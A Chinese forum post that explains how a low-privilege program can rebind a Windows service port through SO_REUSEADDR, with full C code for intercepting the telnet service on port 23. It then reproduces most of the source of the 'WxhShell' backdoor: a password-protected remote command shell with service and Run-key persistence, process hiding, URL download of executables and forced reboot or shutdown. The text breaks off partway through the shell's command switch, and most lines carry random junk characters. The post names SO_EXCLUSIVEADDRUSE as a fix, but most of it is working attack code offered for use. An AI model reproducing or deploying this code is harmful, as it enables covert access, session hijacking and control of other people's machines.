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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k"zHrn"$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,DLNI0uV  
,CF~UX% bU  
  saddr.sin_family = AF_INET; ^KR(p!%  
^o:5B%}#[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >UH=]$0N  
1sA-BQL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <{kj}nxz  
J1t?Qj;f3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *n5g";k|  
ABGL9;.8  
  这意味着什么?意味着可以进行如下的攻击: ZVU)@[s  
li^E$9oWC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wE2?/wb  
v8N1fuP}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $hh=-#J8  
$=R\3:j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2Y{9Df  
4R6 .GO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kfV}w,  
#*@Yil=1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u}_q'=<\  
v<4zcMv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 St<\qC  
l[Oxf|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HtlXbzN%)  
>EjBk nl  
  #include mi?Fy0\  
  #include 4 @h6|=  
  #include j^M@0o  
  #include    :+n7oOV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :T2K\@  
  int main() @*dA<N.9  
  { WJWhx4Hk  
  WORD wVersionRequested; xgVt0=q  
  DWORD ret; %' Fc%3  
  WSADATA wsaData; h#>67gJV  
  BOOL val; )`a R?_  
  SOCKADDR_IN saddr; p /:L;5F  
  SOCKADDR_IN scaddr; %* 8QLI  
  int err; 42~;/4  
  SOCKET s; ;lldxS  
  SOCKET sc; va)\uXW.N  
  int caddsize; aj:+"X-;  
  HANDLE mt; :iJ= 9  
  DWORD tid;   %pdfGM 9g  
  wVersionRequested = MAKEWORD( 2, 2 ); azSS:=A  
  err = WSAStartup( wVersionRequested, &wsaData ); );C !:?  
  if ( err != 0 ) { u:k#1Nn!  
  printf("error!WSAStartup failed!\n"); iJAW| dw}  
  return -1; zuOIos  
  } 3j2}n o8O  
  saddr.sin_family = AF_INET; ;tj_vmZ@R  
   HV>Wf"1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `8Gwf;P1  
/[mCK3_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vwg\qKqSM  
  saddr.sin_port = htons(23); .w`8_v&Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p?%G|Q  
  { G[jCmkK  
  printf("error!socket failed!\n"); 5p750`n  
  return -1; ~k&b3-A}  
  } SFuzH)+VO  
  val = TRUE; =,sMOJ c>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h/X),aK3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mZORV3bN  
  { ,ihTEw,t(  
  printf("error!setsockopt failed!\n"); a/_ `1  
  return -1; 3Z`oI#-x  
  } 4Hu.o7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^0VI J)y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o] = &  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yjr!8L:m  
D[<8(~VP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " jy'Dpy0m  
  { qsJo)SA  
  ret=GetLastError(); 4bmpMF-  
  printf("error!bind failed!\n"); 1w35 H9\g  
  return -1; mI l_ [  
  } ' e-FJ')|  
  listen(s,2); g5H+2lSC  
  while(1) H4)){\  
  { (fq>P1-  
  caddsize = sizeof(scaddr); z}Xn>-N-  
  //接受连接请求 xl s_g/Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]NN9FM.2b/  
  if(sc!=INVALID_SOCKET) o-R;EbL  
  { ms<?BgCSz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bd9]'  
  if(mt==NULL) op[5]tjL  
  { H!,#Z7s  
  printf("Thread Creat Failed!\n"); 0,,x|g$TpT  
  break; U<*ZY`B3  
  } ze]2-B4  
  } 7kHEY5s "  
  CloseHandle(mt); i9_ZK/*  
  } ,xNuc$8Jd  
  closesocket(s); ><dSwwu  
  WSACleanup(); Q4C28-#  
  return 0; (eSa{C\  
  }   ?-Fp rC  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1)vdM(y3j  
  { C;M.dd  
  SOCKET ss = (SOCKET)lpParam; ?HttqK)  
  SOCKET sc; N^B YNqr  
  unsigned char buf[4096]; _yumUk-QW  
  SOCKADDR_IN saddr; lQY?!oj&q  
  long num; //Ck1cI#h  
  DWORD val; 0[ jy  
  DWORD ret; q B5cF_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7$k[cL1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,i e84o  
  saddr.sin_family = AF_INET; {!@Pho)Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \2@OS6LUe  
  saddr.sin_port = htons(23); IZoa7S&t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YeK PoW  
  { nxw]B"Eg  
  printf("error!socket failed!\n"); Z25^+)uf*U  
  return -1; j!xt&t4D  
  } 1 f).J  
  val = 100; Q&rpW:^v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6MqJy6  
  { Rcfh*"k  
  ret = GetLastError();  k/ls!e?  
  return -1; :VX?j 3qW  
  } P'xq+Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UF3WpA  
  { }mzM'9JH  
  ret = GetLastError(); tgKmC I  
  return -1; lZ'-?xo  
  } +eg$Z]Lht  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8lh{ R  
  { ^ 1}_VB)^  
  printf("error!socket connect failed!\n"); G$<FQDvs  
  closesocket(sc); p eQD]v  
  closesocket(ss); I6ffp!^}Y  
  return -1; 2'$p(  
  } zVFz}kJa  
  while(1) T}jryN;J5  
  { a`|&rggN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J.N%=-8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J*IC&jH:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VnAJOR7lrx  
  num = recv(ss,buf,4096,0); tT>~;l%'  
  if(num>0) 18jI6$DY  
  send(sc,buf,num,0); >LRt,.hy6  
  else if(num==0) > r6`bh [4  
  break; 0.Pd,L(  
  num = recv(sc,buf,4096,0); 6lpfk&  
  if(num>0) ZaBGkDX5  
  send(ss,buf,num,0); O'a Srjl  
  else if(num==0) yS%IE>?  
  break; Wt*&_+ae  
  } D7T(B=S6  
  closesocket(ss); bX23F?  
  closesocket(sc); \#Ez["mD  
  return 0 ; t:X\`.W  
  } ]{;=<t6  
?{ns1nW:  
I'%vN^e^  
========================================================== EW7heIT$  
tQ=M=BPZ  
下边附上一个代码,,WXhSHELL rf?Q# KM\W  
Z<T%:F  
========================================================== Ke@zS9  
Lwm2:_\_b  
#include "stdafx.h" q|xJ)[AO  
A6v<+`?  
#include <stdio.h> o[pv.:w  
#include <string.h> P]hS0,sE<(  
#include <windows.h> h)2W}p{a4=  
#include <winsock2.h> Q{F*%X  
#include <winsvc.h> q'{LTg0kk  
#include <urlmon.h> 2A'!kd$2  
U`Bw2Vdk]S  
#pragma comment (lib, "Ws2_32.lib") Uv?s<  
#pragma comment (lib, "urlmon.lib") +dIDFSd  
('BFy>@  
#define MAX_USER   100 // 最大客户端连接数 OLp;eb1g  
#define BUF_SOCK   200 // sock buffer +MU|XT_5|6  
#define KEY_BUFF   255 // 输入 buffer aUUr&yf_L  
P0WI QG+  
#define REBOOT     0   // 重启 ]NgK(I U  
#define SHUTDOWN   1   // 关机 MdM^!sk&`  
)D?\ru H  
#define DEF_PORT   5000 // 监听端口 / V}>v  
'i#m%D`dt  
#define REG_LEN     16   // 注册表键长度 |>(d^<nR^v  
#define SVC_LEN     80   // NT服务名长度 X~wkqI#d%E  
A82Bn|J  
// 从dll定义API hqOy*!8'@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c]3% wL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p w(eWP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r6k0=6i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HF>Gf2- C  
S3EM6`q'  
// wxhshell配置信息 F=)9z+l#  
struct WSCFG { s}yJkQb  
  int ws_port;         // 监听端口 #~<cp)!3  
  char ws_passstr[REG_LEN]; // 口令 %6rMS}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q[?O+  
  char ws_regname[REG_LEN]; // 注册表键名 rK 9  
  char ws_svcname[REG_LEN]; // 服务名 [gI;;GW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [^sv.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Yk@O) x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k1Cx~Q)XC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H 6 i4>U*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" it V@U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {!h|(xqN+  
$=?1>zvF  
}; U,Py+c6  
Teq1VK3Hr  
// default Wxhshell configuration CFdR4vuEI  
struct WSCFG wscfg={DEF_PORT, T 1'8<pJ^  
    "xuhuanlingzhe", p4mlS  
    1, J?4aSssE  
    "Wxhshell", {KkP"j'7h  
    "Wxhshell", V}<Hx3!  
            "WxhShell Service", P>q"P1&{  
    "Wrsky Windows CmdShell Service",  "";[U  
    "Please Input Your Password: ", W+N9~.q\^  
  1, #lDf8G|ST~  
  "http://www.wrsky.com/wxhshell.exe", Z +%Uwj  
  "Wxhshell.exe" 4wfT8CL  
    }; /'vCO |?L  
uFxhr2 <z  
// 消息定义模块 : V16bRpjL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2E]SKpJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EAiE@r>4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sbnNk(XINQ  
char *msg_ws_ext="\n\rExit."; Y JzKE7%CO  
char *msg_ws_end="\n\rQuit."; M-> /vi  
char *msg_ws_boot="\n\rReboot..."; t [gz#'  
char *msg_ws_poff="\n\rShutdown..."; #m 2Ss  
char *msg_ws_down="\n\rSave to "; $v|/*1S  
`R:p-"'b  
char *msg_ws_err="\n\rErr!"; *6uZ"4rb.  
char *msg_ws_ok="\n\rOK!"; R7axm<PR=  
=fA* b  
char ExeFile[MAX_PATH]; ?M2#fD]e  
int nUser = 0; !&4<"wQ  
HANDLE handles[MAX_USER]; Lbb{z  
int OsIsNt; K5X,J/n  
O7r<6(q(  
SERVICE_STATUS       serviceStatus; FCO5SX#-g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7+^9"k7  
$gKMVgD"  
// 函数声明 0sxZa+G0o  
int Install(void); N~I2~f  
int Uninstall(void); Qn`$xY9mT  
int DownloadFile(char *sURL, SOCKET wsh); iaShxoIV  
int Boot(int flag); yL =*yC  
void HideProc(void); ]WZ_~8  
int GetOsVer(void); YbS$D  
int Wxhshell(SOCKET wsl); r0 %WGMk2  
void TalkWithClient(void *cs); j TVh`d< N  
int CmdShell(SOCKET sock); N^i<A2'6S;  
int StartFromService(void); }~gBnq_DDU  
int StartWxhshell(LPSTR lpCmdLine); S0X %IG  
s"1:#.u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "r@f&Ssxb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G55-{y9Q  
 B _;W!  
// 数据结构和表定义 B I9~% dm  
SERVICE_TABLE_ENTRY DispatchTable[] = 77y_?di^I  
{ SCbN(OBN!  
{wscfg.ws_svcname, NTServiceMain}, ;qM I3wF  
{NULL, NULL} InI^,&<  
}; M9mC\Iz[  
M7D@Uj&xx(  
// 自我安装 9OIX5$,S;  
int Install(void) &S\q*H=}i  
{ @WcK<Qho  
  char svExeFile[MAX_PATH]; j1{ @?  
  HKEY key; z\iz6-\&y  
  strcpy(svExeFile,ExeFile); Z+jgFl 4  
[Yt!uhww  
// 如果是win9x系统,修改注册表设为自启动 ?$ rSbw  
if(!OsIsNt) { w-~u[c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2^-Z17Z}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @S#>:o|  
  RegCloseKey(key); }jj@A !N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z<7FF}i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j@OGl&'^-  
  RegCloseKey(key); \5g7_3,3W  
  return 0; fBgW0o.Bu  
    } ^T}6o Ud  
  } FmU>q)  
} 8u+FWbOl]  
else { iTb k]$  
8<z]rLQw?%  
// 如果是NT以上系统,安装为系统服务 }(}+I}&~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6U{&`8C  
if (schSCManager!=0) IfyyA  
{ 4[@`j{  
  SC_HANDLE schService = CreateService j 8lWra\y  
  ( -b1VY4m-  
  schSCManager, o_un=ygU  
  wscfg.ws_svcname, ,`<w#  
  wscfg.ws_svcdisp, 1PwqW g-\\  
  SERVICE_ALL_ACCESS, ]<3$Sx_{y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qEd!g,Sx  
  SERVICE_AUTO_START, uFd.2,XNP  
  SERVICE_ERROR_NORMAL, 5)=XzO0  
  svExeFile, FcR(uv<  
  NULL, hY5G=nbO*  
  NULL, VUfV=&D-*g  
  NULL, 3Q-i%7l  
  NULL, oBVYgv)  
  NULL aBV{Xr~#(  
  ); caA>; +aBH  
  if (schService!=0) tx-HY<  
  { W'2a1E  
  CloseServiceHandle(schService); $6p_`LD0  
  CloseServiceHandle(schSCManager);  [Tha j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /.leY$  
  strcat(svExeFile,wscfg.ws_svcname); 99T_y`df  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WdXi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C %l!"s^  
  RegCloseKey(key); y1DP`Ro  
  return 0; f< A@D"m/  
    } /mELnJ^  
  } yFfa/d  
  CloseServiceHandle(schSCManager); fX)C8J^=G  
} cO$ PK  
} wKe$(>d"L  
4H 4U  
return 1; Q}G'=Q]Juz  
} {Vz.| a[T  
.r~!d|  
// 自我卸载 .]_Ye.}  
int Uninstall(void) z6B(}(D  
{ jR/YG ru  
  HKEY key; v634{:'e  
B1]5%B  
if(!OsIsNt) { 2l43/aCq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UL0%oJ#  
  RegDeleteValue(key,wscfg.ws_regname); ]e0yC  
  RegCloseKey(key); zh2gU@"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R(dVE\u  
  RegDeleteValue(key,wscfg.ws_regname); sS$"6  
  RegCloseKey(key); AF5$U8jf  
  return 0; !f~ =p  
  } ]fH U/%  
} )wU.|9o]M  
} JX_hLy@`  
else { ]<z4p'F1%  
Vmj7`w&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xpo<1Sr>S  
if (schSCManager!=0) RhM]OJd'  
{ |1d;0*HIgX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a`.] 8Jy)  
  if (schService!=0) \I r&&%  
  { y~)rZ-eSB  
  if(DeleteService(schService)!=0) { Eq>3|(UT  
  CloseServiceHandle(schService); w_30g6tA  
  CloseServiceHandle(schSCManager); 7I~Ww{  
  return 0; ,fS}c pV  
  } @WIcH:_w-  
  CloseServiceHandle(schService); { 3=\x  
  } KjR^6v  
  CloseServiceHandle(schSCManager); w*.q t<rH)  
} Yk',a$.S  
} ]"SH pq  
E\N?D  
return 1; %mR roR6  
} 5IeF |#g  
2mS3gk  
// 从指定url下载文件 +hdD*}qauC  
int DownloadFile(char *sURL, SOCKET wsh) 4&r+K`C0  
{ 5ru&In&  
  HRESULT hr; C2GF N1i  
char seps[]= "/"; I8r5u=PH  
char *token; H"PnX-fGN  
char *file; DXPiC[g]  
char myURL[MAX_PATH]; *@'4 A :A  
char myFILE[MAX_PATH]; G%N/]]ll  
2.)@u~^Q  
strcpy(myURL,sURL); ]=v_u9;  
  token=strtok(myURL,seps); y=y=W5#;77  
  while(token!=NULL) *ayn<Vlh`^  
  { [9f TN2'z  
    file=token; k 8^!5n  
  token=strtok(NULL,seps); 2kV[A92s  
  } aaq{9Y#  
H!U\;ny  
GetCurrentDirectory(MAX_PATH,myFILE); $ JI`&  
strcat(myFILE, "\\"); JlAUie8  
strcat(myFILE, file); YH33E~f  
  send(wsh,myFILE,strlen(myFILE),0); 0-~Y[X"9.  
send(wsh,"...",3,0); 9tmYrhb$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <b!ieK?\F3  
  if(hr==S_OK) MCHRNhb9  
return 0; q0Fq7rWP  
else }5gAxR,  
return 1; z)Xf6&  
*z4n2"<l  
} qM F'&  
,)mqd2)+"  
// 系统电源模块 t ?8 ?Ok  
int Boot(int flag) `6V-a_8;[  
{ ) |`eCzCB  
  HANDLE hToken; +}c '4hRv  
  TOKEN_PRIVILEGES tkp; 4,L(  
65bLkR{0  
  if(OsIsNt) { ?Dro)fH1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,]@K6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q;3,}emg  
    tkp.PrivilegeCount = 1; kYBTmz} z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dsP|j (y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Iu6KW:x  
if(flag==REBOOT) { "'H$YhY]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ju$=Tn  
  return 0; <)y44x|S'  
} 6GCwc1g  
else { Izq]nR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YK*2  
  return 0; 0S@O]k)  
} KN U/Kc#  
  } ]#]m_+} Z  
  else { V%k[S|f3  
if(flag==REBOOT) { hGi"=Oud2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b u%p,u!  
  return 0; QC0^G,9.  
} T[M?:~  
else { y XZZ)i_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DZ~w8v7V  
  return 0; BMU}NZA  
} <{m!.9g9  
} 3/8o)9f.  
DQW^;Ls  
return 1; 6Uq@v8mh  
} quc?]rb  
vPEL'mw/3#  
// win9x进程隐藏模块 [0CoQ5:d?&  
void HideProc(void) b)@%gS\F  
{ 3F2> &p|7  
f9H;e(D9]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]d?`3{h9LD  
  if ( hKernel != NULL ) flTK  
  { pc&/'zb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vC~];!^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [7B:{sH  
    FreeLibrary(hKernel); $wU.GM$t~  
  } c38RE,4U  
}Q_IqI[7  
return; yrO'15TB  
} FT73P0!8.  
3:jKuOX  
// 获取操作系统版本 A<^IG+Q,B7  
int GetOsVer(void) / 3:R{9S%  
{ x<60=f[O2R  
  OSVERSIONINFO winfo; r/=v;4.W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !q~s-~d^  
  GetVersionEx(&winfo); #C,M8~Q7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4xhV +Y  
  return 1; )hj77~{ +  
  else 2D`@$)KL  
  return 0; #*q`/O5n  
} P, !si#  
I9N?zmH  
// 客户端句柄模块 p3I{  
int Wxhshell(SOCKET wsl) )0`;leli  
{  =IV_yor  
  SOCKET wsh;  ])}{GW  
  struct sockaddr_in client; 9'3%%o  
  DWORD myID; w[\*\'Vm0  
wl^bvHG  
  while(nUser<MAX_USER) [CBA Lj5  
{ kH d_q.  
  int nSize=sizeof(client); 'p-jMD}O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {g\Yy(r  
  if(wsh==INVALID_SOCKET) return 1; r<V]MwO=  
3;~1rw=$<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w/KHS#~  
if(handles[nUser]==0) GdEkA  
  closesocket(wsh); 84)$ CA+NX  
else 62rTGbDbx  
  nUser++; -h^FSW($-R  
  } !uLAW_~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n l Xg8t^G  
k(<5tvd  
  return 0; K+Q81<X~  
} @=`Dw/13  
m9Gyjr'L  
// 关闭 socket ?XL[[vyr  
void CloseIt(SOCKET wsh) Ya*lq! u  
{ ?{%P9I  
closesocket(wsh); 2_;.iH 6  
nUser--; -"u}lCz>  
ExitThread(0); fL ng[&  
} N72z5[..  
85$MHod}[,  
// 客户端请求句柄 '?t]iRCeI7  
void TalkWithClient(void *cs) LW?] ~|  
{ x68J [; jm  
5p"n g8nR  
  SOCKET wsh=(SOCKET)cs; xr?=gY3E;  
  char pwd[SVC_LEN]; 5 g99t$p9  
  char cmd[KEY_BUFF]; 0vmMNF  
char chr[1]; }Xyu" P  
int i,j; Ks@S5:9sp  
Jx1oK  
  while (nUser < MAX_USER) { Ttn=VX{ \  
yxQxc5/X)  
if(wscfg.ws_passstr) { ]8ua>1XS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WRZi^B8 @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O7ceSz  
  //ZeroMemory(pwd,KEY_BUFF); [Av87!kJ!X  
      i=0; !vfjo[v  
  while(i<SVC_LEN) { ySP1WK  
uljd)kLy4O  
  // 设置超时 Gv>,Ad ka  
  fd_set FdRead; flIdL,  
  struct timeval TimeOut; iHr{ VQ  
  FD_ZERO(&FdRead); VF!?B>  
  FD_SET(wsh,&FdRead); RO'MFU<g  
  TimeOut.tv_sec=8; ZJsc?*@  
  TimeOut.tv_usec=0; gSEj/?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0`"]mYH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6g8{;6x  
sn_]7d+ Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5X\3y4  
  pwd=chr[0]; 6xr$  
  if(chr[0]==0xd || chr[0]==0xa) { %/~6Qq  
  pwd=0; Et(Q$/W  
  break; "uN JQ0Y  
  } \E9Z H3;  
  i++; w4:S>6X  
    } eJilSFp1  
1d7oR`qr  
  // 如果是非法用户,关闭 socket + htTrHjt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zBay 3a  
} ;WJ}zjo >  
Wd~aSz9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o;{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TU$/3fp*  
mC n,I  
while(1) { zHG KPuk'  
Wd_bDZQ  
  ZeroMemory(cmd,KEY_BUFF); OZ&J'Y  
-LzHCO/7(  
      // 自动支持客户端 telnet标准   rK)So#'  
  j=0; M A}=  
  while(j<KEY_BUFF) { PH9MB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qCSJ=T;  
  cmd[j]=chr[0]; T2Z;)e$m_  
  if(chr[0]==0xa || chr[0]==0xd) { W)1)zOD  
  cmd[j]=0; 6LL/wemq  
  break; ul/=1]1?  
  } _Z.lr\  
  j++; ;E(gl$c:  
    } jiYYDGs77  
bRJYw6oA<  
  // 下载文件 GbwcbfH  
  if(strstr(cmd,"http://")) { ^6#FqK+{u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S9 <J \`FG  
  if(DownloadFile(cmd,wsh)) \U4O*lq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VmF?8Vi4  
  else Pr{?A]dQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Bq"9*q  
  } :7D&=n)  
  else { jRm:9`.Q  
]NNLr;p  
    switch(cmd[0]) { pM@|P,w {  
  as)2ny!u  
  // 帮助 {0q;:7Bt  
  case '?': {  8;4vr@EV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gq*- v:P>  
    break; /[VafR!  
  } VE& ?Zd~  
  // 安装 /4YXx|V  
  case 'i': { L=iaL[zdJ  
    if(Install()) "L1cHP~d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VFT G3,kI  
    else VW<s_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\- 1W2  
    break; ;tf1 #6{  
    } >^Klq`"?g=  
  // 卸载 }e6Ta_Z~  
  case 'r': { 0L $v7, 5  
    if(Uninstall()) @X>k@M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [y\ZnoB  
    else Ox8dnPcx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B~cq T/\?  
    break; p.n]y=o.)  
    } F:%= u =  
  // 显示 wxhshell 所在路径 /u<lh. hPW  
  case 'p': { K7F uMB  
    char svExeFile[MAX_PATH]; },2-\-1  
    strcpy(svExeFile,"\n\r"); Nv,[E+a2  
      strcat(svExeFile,ExeFile); YPDc /  
        send(wsh,svExeFile,strlen(svExeFile),0); /R^HRzTO  
    break; 6dV@.(][a  
    } {:IOTy  
  // 重启 Fm3-Sn|Po  
  case 'b': { }; +'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p)f OAr  
    if(Boot(REBOOT)) : :uD%a zd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KunK.m  
    else { e!l!T@ pf  
    closesocket(wsh); Hig=PG5I  
    ExitThread(0); lN,b@;  
    } Xj&{M[k<  
    break; qDqIy+WR  
    } b+'G^!JR  
  // 关机 &vj+3<2  
  case 'd': { Bg-C:Ok 2'  
